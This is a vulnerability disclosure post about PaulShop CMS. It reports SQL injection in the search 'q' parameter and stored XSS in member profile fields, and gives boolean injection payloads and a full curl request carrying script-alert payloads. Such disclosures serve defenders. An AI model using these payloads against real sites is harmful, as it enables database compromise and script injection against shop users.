[FD] PaulShop CMS - Sql Injection and stored XSS

[<tamqm@xxxxxxx>]

PaulShop CMS - Sql Injection and stored XSS

# Exploit Title: PaulShop CMS - Sql Injection and stored XSS
# Date: 07/23/2017
# Exploit Author: BTIS Team (http://www.btis.vn)
# Vendor Homepage: 
[https://codecanyon.net/item/paulshop-cms-with-shopping-cart-system/18070714]
# Version: 03/27/2017
# Tested on: Apache/2.4.7 (Ubuntu)
# Can not contact vendor

1. Description

- SQL Injection on Search page with "q" parameter (GET)
- Stored XSS on member's profile page with parameters: firstname, lastname, 
address, city, state, zipcode, phone, fax, delivery[address], delivery[city], 
delivery[state], delivery[zipcode]

2. Examples

- SQL injection: 

# http://localhost/shop/en/category/tables?q=[SQL INJECTION HERE]
# Payload: - True condition: europe' and 1=1)-- -
           - False condition: europe' and 1=0)-- -

- Stored XSS: 

# Payload: %22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
# curl -X POST \
  'http://localhost/shop/en/account?save=1' \
  -H 'cookie: cookie: mysession_id=QyB45exW7W2fwIi; 
ci_session=ab1c04c51042f9928a87bb917b1a4759e9f81d11' \
  -b 'cookie: mysession_id=QyB45exW7W2fwIi; 
ci_session=ab1c04c51042f9928a87bb917b1a4759e9f81d11' \
  -d 
'email=btis%40mailinator.com&password=123456xyz&firstname=BTIS%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=VN%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&address=address%22%3E%3Cscript%3Ealert%283%29%3C%2Fscript%3E&city=city%22%3E%3Cscript%3Ealert%284%29%3C%2Fscript%3E&state=HCM%22%3E%3Cscript%3Ealert%287%29%3C%2Fscript%3E&zipcode=700000%22%3E%3Cscript%3Ealert%2812%29%3C%2Fscript%3E&country=VN&phone=%22%3E%3Cscript%3Ealert%2810%29%3C%2Fscript%3E&fax=fax%22%3E%3Cscript%3Ealert%286%29%3C%2Fscript%3E&delivery%5Baddress%5D=adr2%22%3E%3Cscript%3Ealert%285%29%3C%2Fscript%3E&delivery%5Bcity%5D=city2%22%3E%3Cscript%3Ealert%288%29%3C%2Fscript%3E&delivery%5Bstate%5D=MNB%22%3E%3Cscript%3Ealert%289%29%3C%2Fscript%3E&delivery%5Bzipcode%5D=800000%22%3E%3Cscript%3Ealert%2811%29%3C%2Fscript%3E&delivery%5Bcountry%5D=AD&save=Save'

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